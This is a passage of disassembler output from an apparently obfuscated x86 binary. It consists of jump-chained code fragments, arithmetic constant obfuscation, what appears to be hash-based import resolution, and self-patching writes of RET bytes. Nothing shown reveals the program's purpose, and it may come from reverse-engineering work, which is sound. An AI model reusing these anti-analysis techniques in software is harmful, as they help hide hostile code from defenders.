		pop	ebp
		jmp	loc_7500DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74E033:				; CODE XREF: sub_752D11-1E6Ej
		call	sub_7541CF


loc_74E038:				; CODE XREF: sub_74D23E+9636j
		jmp	nullsub_97
; END OF FUNCTION CHUNK	FOR sub_752D11

; =============== S U B	R O U T	I N E =======================================



sub_74E03D	proc near		; DATA XREF: sub_74B719:loc_749B3Ao

; FUNCTION CHUNK AT 007487CC SIZE 00000008 BYTES

		test	byte ptr [eax-10h], 38h
		jnz	loc_755B94


loc_74E047:				; CODE XREF: sub_756496:loc_753B15j
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jmp	loc_7487CC
sub_74E03D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750291


loc_74E05A:				; CODE XREF: sub_750291-714Aj
		push	0F2E318E1h
		pop	edi
		sub	edi, 0CEB77BFAh
		add	edi, 0DC48E139h
		xchg	edi, [esp+8+var_8]
		jmp	loc_749A2A
; END OF FUNCTION CHUNK	FOR sub_750291

; =============== S U B	R O U T	I N E =======================================



sub_74E074	proc near		; CODE XREF: _0z4jwtox:0075415Bj
					; _0z4jwtox:007550CBp

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	esi, [esp-4+arg_0]
		jmp	sub_746E93
sub_74E074	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B44


loc_74E080:				; CODE XREF: sub_748B44:loc_74933Fj
		call	sub_74D1F3
; END OF FUNCTION CHUNK	FOR sub_748B44
; START	OF FUNCTION CHUNK FOR sub_746145


loc_74E085:				; CODE XREF: sub_746145+Dj
		jmp	loc_74A79F
; END OF FUNCTION CHUNK	FOR sub_746145
; ---------------------------------------------------------------------------


loc_74E08A:				; CODE XREF: _0z4jwtox:loc_74FFE8j
		jz	loc_7512A8
		jmp	loc_74BEB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C874


loc_74E095:				; CODE XREF: sub_74C874:loc_755AB5j
		push	6CF71C1Ah
		pop	esi
		or	esi, 0F81462FCh
		rol	esi, 19h
		add	esi, 248018Bh
		mov	[esi], eax
		jmp	loc_74961F
; END OF FUNCTION CHUNK	FOR sub_74C874
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757498


loc_74E0B1:				; CODE XREF: sub_757498:loc_7574ADj
		cmp	eax, 0ED3EA633h
		jmp	loc_74981A
; END OF FUNCTION CHUNK	FOR sub_757498
; ---------------------------------------------------------------------------


loc_74E0BC:				; CODE XREF: _0z4jwtox:0074E484j
		jg	loc_74BEE3

; =============== S U B	R O U T	I N E =======================================



sub_74E0C2	proc near		; CODE XREF: sub_74E84B+Ap
		xchg	edi, [esp+0]
		pop	edi
		mov	byte ptr [eax],	0C3h
		jmp	sub_750715
sub_74E0C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750715


loc_74E0CE:				; CODE XREF: sub_750715j
		xchg	ecx, [esp+0]
		mov	edx, ecx
		pop	ecx
		mov	eax, [esp-4+arg_0]
		jmp	loc_74FEC4
; END OF FUNCTION CHUNK	FOR sub_750715
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F615


loc_74E0DC:				; CODE XREF: sub_74F615-4871j
		cmp	eax, 0C7BE1533h
		jmp	loc_7574C8
; END OF FUNCTION CHUNK	FOR sub_74F615
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745480


loc_74E0E7:				; CODE XREF: sub_745480+Cj
		mov	ebx, ecx
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_745480

; =============== S U B	R O U T	I N E =======================================



sub_74E0EB	proc near		; CODE XREF: sub_7459B2:loc_7459B7j
					; sub_7491FD+23D1p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074664A SIZE 0000000A BYTES

		push	edx
		mov	edx, edi
		xchg	edx, [esp+4+var_4]
		mov	edi, ebp
		jmp	loc_74664A
sub_74E0EB	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	8AEDF6EAh
		pop	ebx
		rol	ebx, 2
		or	ebx, 0C4703AA8h
		jmp	loc_7452EE
; ---------------------------------------------------------------------------
		and	eax, 982219D6h
		jmp	sub_74C074
; ---------------------------------------------------------------------------


loc_74E118:				; CODE XREF: _0z4jwtox:0074FD6Fj
		jle	loc_756367

; =============== S U B	R O U T	I N E =======================================



sub_74E11E	proc near		; CODE XREF: sub_756974-9977p

; FUNCTION CHUNK AT 0074730A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074A88E SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0074C286 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C855 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00753B29 SIZE 00000015 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_746E93
		push	edx
		push	2E2BBFC5h
		pop	edx
		jmp	loc_74730A
sub_74E11E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746D0D


loc_74E133:				; CODE XREF: sub_746D0D+Aj
		pop	esi
		sub	esi, 0D6A25D26h
		rol	esi, 5
		call	sub_7508C4
; END OF FUNCTION CHUNK	FOR sub_746D0D
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_74E142:				; CODE XREF: sub_745A78+E782j
		jmp	sub_757528
; END OF FUNCTION CHUNK	FOR sub_745A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_74E147:				; CODE XREF: sub_74946E+23DBj
		jmp	loc_752701
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755892


loc_74E14C:				; CODE XREF: sub_755892-A6D8j
		jmp	nullsub_240
; END OF FUNCTION CHUNK	FOR sub_755892
; ---------------------------------------------------------------------------


loc_74E151:				; CODE XREF: _0z4jwtox:00748C71j
		jmp	loc_74B1BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745C55


loc_74E156:				; CODE XREF: sub_745C55+12Dj
		and	eax, edx
		or	eax, 0DF6C9ACEh
		jmp	loc_7539C0
; END OF FUNCTION CHUNK	FOR sub_745C55
; ---------------------------------------------------------------------------
		sub	eax, edi
		cmp	ecx, 587D6AFCh
		jmp	loc_74A4AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7484F5


loc_74E170:				; CODE XREF: sub_7484F5+5j
		mov	edx, eax
		xchg	edx, [esp+0]
		mov	eax, edx
		push	offset loc_74FDB4
		jmp	loc_7560D8
; END OF FUNCTION CHUNK	FOR sub_7484F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755B5B


loc_74E181:				; CODE XREF: sub_755B5B:loc_757556j
		mov	edx, 0CF0182F6h
		call	sub_74BA29
		mov	ds:dword_75161C, eax


loc_74E190:				; CODE XREF: _0z4jwtox:0074B239j
					; sub_755B5B-1C2Bj ...
		mov	eax, ds:dword_75161C
		call	sub_746CF0
		mov	esp, ebp
		pop	ebp
		push	ds:dword_75161C
		jmp	loc_7564C0
; END OF FUNCTION CHUNK	FOR sub_755B5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_74E1A8:				; CODE XREF: sub_74CBCF:loc_752755j
		shr	edx, 17h
		adc	eax, ebx
		mov	[ebp+0], ebx
		popf
		jns	loc_754A85
		jmp	loc_74B46B
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C68A


loc_74E1BC:				; CODE XREF: sub_74C68A:loc_74CC14j
		push	88E3554Eh
		pop	edx
		sub	edx, 990BA683h
		rol	edx, 14h
		add	edx, 8E60F30h
		or	edx, 56D09842h
		add	edx, 87F86EFh
		jmp	loc_74C598
; END OF FUNCTION CHUNK	FOR sub_74C68A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7554BB


loc_74E1E2:				; CODE XREF: sub_7554BB-775Dj
		mov	byte ptr [eax],	0C3h
		jmp	sub_74BD26
; END OF FUNCTION CHUNK	FOR sub_7554BB
; ---------------------------------------------------------------------------
		push	edi
		push	2E20D564h
		pop	edi
		or	edi, 6A6CBD4Bh
		test	edi, 1
		jmp	loc_757629
; ---------------------------------------------------------------------------


loc_74E202:				; CODE XREF: _0z4jwtox:0074BC8Bj
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_74E203	proc near		; CODE XREF: sub_746DB9+Ap
		xchg	ebx, [esp+0]
		pop	ebx
		xor	eax, eax
		retn
sub_74E203	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752957


loc_74E20A:				; CODE XREF: sub_752957-2353j
		jmp	loc_753855
; END OF FUNCTION CHUNK	FOR sub_752957
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_74E20F:				; CODE XREF: sub_75275A:loc_747262j
		jmp	loc_746A67
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_74E214:				; CODE XREF: sub_747C39+2168j
					; sub_747C39:loc_75776Dj
					; DATA XREF: ...
		pop	large dword ptr	fs:0
		jmp	loc_755184
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
		sbb	edi, eax
		jg	loc_7466DD
		jmp	sub_745DB1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750202


loc_74E22E:				; CODE XREF: sub_750202+12j
		jmp	loc_75344B
; END OF FUNCTION CHUNK	FOR sub_750202
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C0C


loc_74E233:				; CODE XREF: sub_747C0C+4F44j
		jmp	loc_74B4C4
; END OF FUNCTION CHUNK	FOR sub_747C0C
; ---------------------------------------------------------------------------


loc_74E238:				; CODE XREF: _0z4jwtox:00747D47j
		jmp	loc_74AE9C
; ---------------------------------------------------------------------------
		js	loc_7461F3
		cmp	edx, 0B6367A5Eh
		jmp	loc_74917E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CA64


loc_74E24E:				; CODE XREF: sub_74CA64:loc_74ED35j
		mov	[edi], eax
		pop	edi
		pushf
		push	offset loc_745B2C
		jmp	loc_755629
; END OF FUNCTION CHUNK	FOR sub_74CA64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_74E25C:				; CODE XREF: sub_74E762-86Fj
		jz	loc_749276
		jmp	loc_748646
; END OF FUNCTION CHUNK	FOR sub_74E762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_74E267:				; CODE XREF: sub_749306+1F5Bj
		add	edx, 0D92C0368h
		sub	edx, 0A72A67F0h
		add	edx, 685B23FBh
		add	edx, ebp
		add	edx, 12A498C9h
		mov	edx, [edx]
		jmp	loc_74EE9C
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748BB8


loc_74E288:				; CODE XREF: sub_748BB8+3F64j
		mov	edi, edx
		xchg	edi, [esp+0]
		call	sub_750C4E
		mov	eax, 0D53D974Bh
		call	sub_746E93
		mov	ds:off_41F04C, eax
		lea	eax, sub_748BB8
		mov	byte ptr [eax],	0C3h
		jmp	sub_748BB8
; END OF FUNCTION CHUNK	FOR sub_748BB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74E2B0:				; CODE XREF: sub_752D11-1F42j
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_75276D
		jmp	loc_746EFB
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757151


loc_74E2C2:				; CODE XREF: sub_756D58:loc_749344j
					; sub_757151-C9DFj ...
		pop	edx
		jnz	loc_756D66
		mov	eax, [esp-8+arg_4]
		push	edx
		call	sub_753D0E
		push	506C3BD3h
		pop	eax
		add	eax, 4FE50833h
		jmp	loc_74728B
; END OF FUNCTION CHUNK	FOR sub_757151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_74E2E3:				; CODE XREF: sub_7473D1:loc_7451BCj
		jb	loc_7550A6
; END OF FUNCTION CHUNK	FOR sub_7473D1
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74E2E9:				; CODE XREF: sub_74FE55-5A9Ej
		push	esi
		popf
		rol	ebp, 1Ch
		jmp	loc_74C6D2
; END OF FUNCTION CHUNK	FOR sub_74FE55
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		adc	ecx, edx


loc_74E2F6:				; CODE XREF: _0z4jwtox:0074B7C8j
		mov	[eax], edx
		jmp	sub_75609F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7529BD


loc_74E2FD:				; CODE XREF: sub_7529BD+14j
		test	eax, 1000h
		jmp	loc_755DDF
; END OF FUNCTION CHUNK	FOR sub_7529BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_74E308:				; CODE XREF: sub_7561AB-8713j
		call	sub_747892
		mov	eax, [esp+0]
		push	ecx
		push	0AA17790Ch
		pop	ecx
		jmp	loc_751F42
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------


loc_74E31C:				; CODE XREF: _0z4jwtox:007528A9j
		mov	ebx, edx
		xchg	ebx, [esp]
		push	edi
		mov	edi, ebx
		jmp	loc_751508
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_74E329:				; CODE XREF: sub_750638:loc_755F3Dj
		jz	loc_746414
		jmp	loc_751069
; END OF FUNCTION CHUNK	FOR sub_750638
; ---------------------------------------------------------------------------
		or	ebp, edi
		jmp	sub_7535B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757151


loc_74E33B:				; CODE XREF: sub_757151:loc_74728Bj
		xor	eax, 0E8436B64h
		push	edx
		pushf
		push	8B093946h
		jmp	loc_74B385
; END OF FUNCTION CHUNK	FOR sub_757151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_74E34D:				; CODE XREF: sub_74F78B-7DBDj
		or	eax, 14DD3A6h
		sub	eax, 0DE8587CFh
		or	eax, 0CDBA3416h
		add	eax, 0B9F0E480h
		call	sub_7453FB
; END OF FUNCTION CHUNK	FOR sub_74F78B
; START	OF FUNCTION CHUNK FOR sub_753FCE


loc_74E36A:				; CODE XREF: sub_753FCE+12j
		sub	al, 99h
		mov	edx, [ebp-4]
		push	offset sub_74BD6F
		jmp	loc_750993
; END OF FUNCTION CHUNK	FOR sub_753FCE
; ---------------------------------------------------------------------------
		mov	eax, 0D1CB0F56h
		call	sub_746E93
		mov	ds:dword_41F10C, eax
		lea	eax, nullsub_13
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_13
; ---------------------------------------------------------------------------
		call	sub_7467F4
		jmp	ds:dword_41F110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_74E3A2:				; CODE XREF: sub_7514AC:loc_7556FFj
		jmp	loc_74B1EF
; END OF FUNCTION CHUNK	FOR sub_7514AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74890C


loc_74E3A7:				; CODE XREF: sub_74890C+7j
		jmp	sub_74A96E
; END OF FUNCTION CHUNK	FOR sub_74890C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_74E3AC:				; CODE XREF: sub_7514AC-9E90j
		jmp	loc_754064
; END OF FUNCTION CHUNK	FOR sub_7514AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745462


loc_74E3B1:				; CODE XREF: _0z4jwtox:00745DACj
					; sub_745462+47CDj
		add	edx, 9DE49C1Bh
		xchg	edx, [esp+4+var_4]
		jmp	sub_7570B1
; END OF FUNCTION CHUNK	FOR sub_745462
; ---------------------------------------------------------------------------
		sub	edx, eax
		or	edx, 80EBC76h
		jmp	loc_749A86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749D75


loc_74E3CC:				; CODE XREF: sub_749D75+Bj
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_749D75
; START	OF FUNCTION CHUNK FOR sub_75299B


loc_74E3CD:				; CODE XREF: sub_75299B:loc_747EF9j
		xor	esi, 0D2E36BB1h
		add	esi, 65A93DD3h
		xchg	esi, [esp+0]
		jmp	loc_746368
; END OF FUNCTION CHUNK	FOR sub_75299B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752DF2


loc_74E3E1:				; CODE XREF: sub_752DF2-AFAj
		popf
		jmp	loc_755C8F
; END OF FUNCTION CHUNK	FOR sub_752DF2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B52


loc_74E3E8:				; CODE XREF: sub_748B52:loc_7576F5j
		jmp	loc_7484CF
; END OF FUNCTION CHUNK	FOR sub_748B52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7535B3


loc_74E3ED:				; CODE XREF: sub_7535B3+9j
		jmp	loc_754EB0
; END OF FUNCTION CHUNK	FOR sub_7535B3
; ---------------------------------------------------------------------------


loc_74E3F2:				; CODE XREF: _0z4jwtox:007485B9j
		jmp	loc_74CE0B

; =============== S U B	R O U T	I N E =======================================



sub_74E3F7	proc near		; CODE XREF: _0z4jwtox:0074D0C9j
					; sub_749306+C285p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00747CF4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074D112 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074FD05 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007503B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753181 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 007535EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007573FC SIZE 00000005 BYTES

		xchg	edx, [esp+0]


loc_74E3FA:				; CODE XREF: _0z4jwtox:loc_74F7CEj
		pop	edx
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_747CF4
		jmp	loc_7573FC
sub_74E3F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74E40A	proc near		; DATA XREF: sub_74946E-3CF8o

; FUNCTION CHUNK AT 00748DF5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074C114 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753A05 SIZE 00000012 BYTES

		ror	eax, 15h
		push	esi
		push	0F9300680h
		pop	esi
		xor	esi, 0E3B080D5h
		rol	esi, 0Ch
		jmp	loc_753A05
sub_74E40A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752FC5


loc_74E422:				; CODE XREF: sub_752FC5:loc_753E72j
		mov	eax, [esp+0]
		push	edx
		call	sub_75740D
		mov	eax, 0D59435E2h
		call	sub_746E93
		push	esi
		jmp	loc_745C7B
; END OF FUNCTION CHUNK	FOR sub_752FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74E43B:				; CODE XREF: sub_752D11-87Fj
		jnz	loc_74C92C
		jmp	loc_7542F1
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E84B


loc_74E446:				; CODE XREF: sub_74E84B-8887j
		xor	eax, 1EC0448Bh
		jmp	loc_754C82
; END OF FUNCTION CHUNK	FOR sub_74E84B

; =============== S U B	R O U T	I N E =======================================



sub_74E451	proc near		; CODE XREF: sub_747820:loc_7458A6p
					; _0z4jwtox:0074EF91j

; FUNCTION CHUNK AT 0074F887 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00751F3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075238B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00752DB0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753040 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 007530F0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00755D3C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0075627C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00757054 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00757586 SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jz	loc_74F887
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_74DE2C
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 4


loc_74E46C:				; CODE XREF: _0z4jwtox:loc_7513D8j
		jmp	loc_7530F0
sub_74E451	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745C55


loc_74E471:				; CODE XREF: sub_745C55:loc_74A9B6j
		jz	loc_745C4D
		jmp	loc_754F02
; END OF FUNCTION CHUNK	FOR sub_745C55
; ---------------------------------------------------------------------------
		xchg	edx, [ebx]
		cmp	edi, 13DF116Dh
		jmp	loc_74E0BC
; ---------------------------------------------------------------------------


loc_74E489:				; CODE XREF: _0z4jwtox:00752144j
		or	esi, 0FC2BF7A4h
; START	OF FUNCTION CHUNK FOR sub_7544F1


loc_74E48F:				; CODE XREF: sub_7544F1-23BFj
		sub	edi, 314D504Fh
		add	edi, 78E84191h
		or	edi, 624A8CE0h
		xor	edi, 0BAE8069h
		xor	eax, edi
		push	offset loc_74F20A
		jmp	nullsub_190
; END OF FUNCTION CHUNK	FOR sub_7544F1
; ---------------------------------------------------------------------------


loc_74E4B3:				; CODE XREF: _0z4jwtox:007552D0j
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_755C10


loc_74E4B4:				; CODE XREF: sub_755C10-956j
		sub	eax, 240F5485h
		xor	eax, 377C2E9Fh
		add	eax, 0C4119520h
		call	sub_74DFE1
; END OF FUNCTION CHUNK	FOR sub_755C10
; START	OF FUNCTION CHUNK FOR sub_74A094


loc_74E4CB:				; CODE XREF: sub_74A094+ACBEj
		jmp	loc_74E7CB
; END OF FUNCTION CHUNK	FOR sub_74A094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7470E8


loc_74E4D0:				; CODE XREF: sub_7470E8:loc_7577C0j
		jl	loc_755153
; END OF FUNCTION CHUNK	FOR sub_7470E8
; START	OF FUNCTION CHUNK FOR sub_745697


loc_74E4D6:				; CODE XREF: sub_745697+15j
					; _0z4jwtox:00754631j
		jmp	loc_755E95
; END OF FUNCTION CHUNK	FOR sub_745697
; ---------------------------------------------------------------------------
		add	ecx, 6AAAF9BEh
		jg	loc_752ED9
		jmp	loc_75514E
; ---------------------------------------------------------------------------
		mov	ds:off_41F0D8, eax
		lea	eax, sub_7523A2
		mov	byte ptr [eax],	0C3h
		jmp	loc_756A0A
; ---------------------------------------------------------------------------
		call	nullsub_294
		jmp	ds:dword_41F0DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752C8E


loc_74E50B:				; CODE XREF: sub_752C8E+19j
		jmp	loc_74F14C
; END OF FUNCTION CHUNK	FOR sub_752C8E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_294. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnz	loc_755084
		mov	eax, [esp]
		jmp	loc_74CED8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A3AB


loc_74E51F:				; CODE XREF: sub_74A3AB:loc_7548BAj
		lea	eax, loc_74A78D
		push	offset sub_747B76
		jmp	loc_753009
; END OF FUNCTION CHUNK	FOR sub_74A3AB
; ---------------------------------------------------------------------------


loc_74E52F:				; CODE XREF: _0z4jwtox:0074CCD2j
		and	eax, edi

; =============== S U B	R O U T	I N E =======================================



sub_74E531	proc near		; CODE XREF: sub_749115+6CB0p

; FUNCTION CHUNK AT 0074EEFB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074F295 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075413C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00754E7A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756CFD SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	7672FC31h
		jmp	loc_74F295
sub_74E531	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E93


loc_74E53F:				; CODE XREF: sub_746E93+3CC1j
		jz	loc_751E83
		jmp	loc_75441D
; END OF FUNCTION CHUNK	FOR sub_746E93
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74E54B:				; CODE XREF: _0z4jwtox:0074BCB5j
		jmp	loc_74FE0A
; ---------------------------------------------------------------------------
		xchg	esi, ebp
		pushf
		jmp	sub_752737
; ---------------------------------------------------------------------------
		push	ebx
		push	3911B4F2h
		pop	ebx
		add	ebx, 39C2FC70h
		jmp	loc_74DB9C
; ---------------------------------------------------------------------------


loc_74E56A:				; CODE XREF: _0z4jwtox:0075089Fj
		mov	eax, [esp]
		push	edx
		push	esi
		push	0E1D3FE57h
		jmp	loc_74B35F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75609F


loc_74E57A:				; CODE XREF: sub_75609F:loc_7507EBj
		jge	loc_74CD72
		mov	edx, [esi]
		adc	ebp, 33A8201Bh
		pushf
		jmp	loc_74A391
; END OF FUNCTION CHUNK	FOR sub_75609F

; =============== S U B	R O U T	I N E =======================================



sub_74E58E	proc near		; CODE XREF: _0z4jwtox:loc_7457C5j
					; sub_746389:loc_74A5F1p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745E1D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074B7BB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074B9A9 SIZE 00000017 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	esi, [esp-4+arg_0]
		mov	edi, esi
		pop	esi
		add	edi, 763B76E6h
		jmp	loc_74B9A9
sub_74E58E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_74E5A3:				; CODE XREF: _0z4jwtox:007546EEj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7457CB


loc_74E5A4:				; CODE XREF: sub_7457CB:loc_74FD2Aj
		shr	eax, 6
		mov	[ebp-10h], eax
		mov	eax, [ebp+8]
		push	offset loc_751EB1
		jmp	nullsub_75
; END OF FUNCTION CHUNK	FOR sub_7457CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_74E5B7:				; CODE XREF: sub_748FA4+1FDCj
		xchg	ebx, [edx]
		jmp	loc_749AD6
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754C68


loc_74E5BE:				; CODE XREF: sub_754C68:loc_74CDDCj
					; _0z4jwtox:0074CDF3j
		sub	eax, 47867093h
		add	eax, 532265E8h
		push	ebx
		push	offset loc_7495AE
		jmp	loc_748EA9
; END OF FUNCTION CHUNK	FOR sub_754C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_74E5D5:				; CODE XREF: sub_74C8DA+386Ej
		jz	loc_7573A4
		jmp	loc_74DC95
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------


loc_74E5E0:				; CODE XREF: _0z4jwtox:0074F589j
		sbb	ebp, 0C5A1745Ah
; START	OF FUNCTION CHUNK FOR sub_74F15D


loc_74E5E6:				; CODE XREF: sub_74F15D+409j
		and	ebx, 9E75C696h
		sub	ebx, 0AA1819D5h
		xor	ebx, 7C0E41D5h
		add	ebx, 0E01E09EBh
		xchg	ebx, [esp+8+var_8]
		jmp	loc_7452BD
; END OF FUNCTION CHUNK	FOR sub_74F15D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_74E606:				; CODE XREF: sub_74A7D8+3E54j
		mov	eax, 65F8A850h
		call	sub_746E93
		call	sub_74F660
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75622B


loc_74E616:				; CODE XREF: sub_75622B+23Bj
		jmp	loc_755640
; END OF FUNCTION CHUNK	FOR sub_75622B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747778


loc_74E61B:				; CODE XREF: sub_747778+13j
		jmp	loc_74665B
; END OF FUNCTION CHUNK	FOR sub_747778
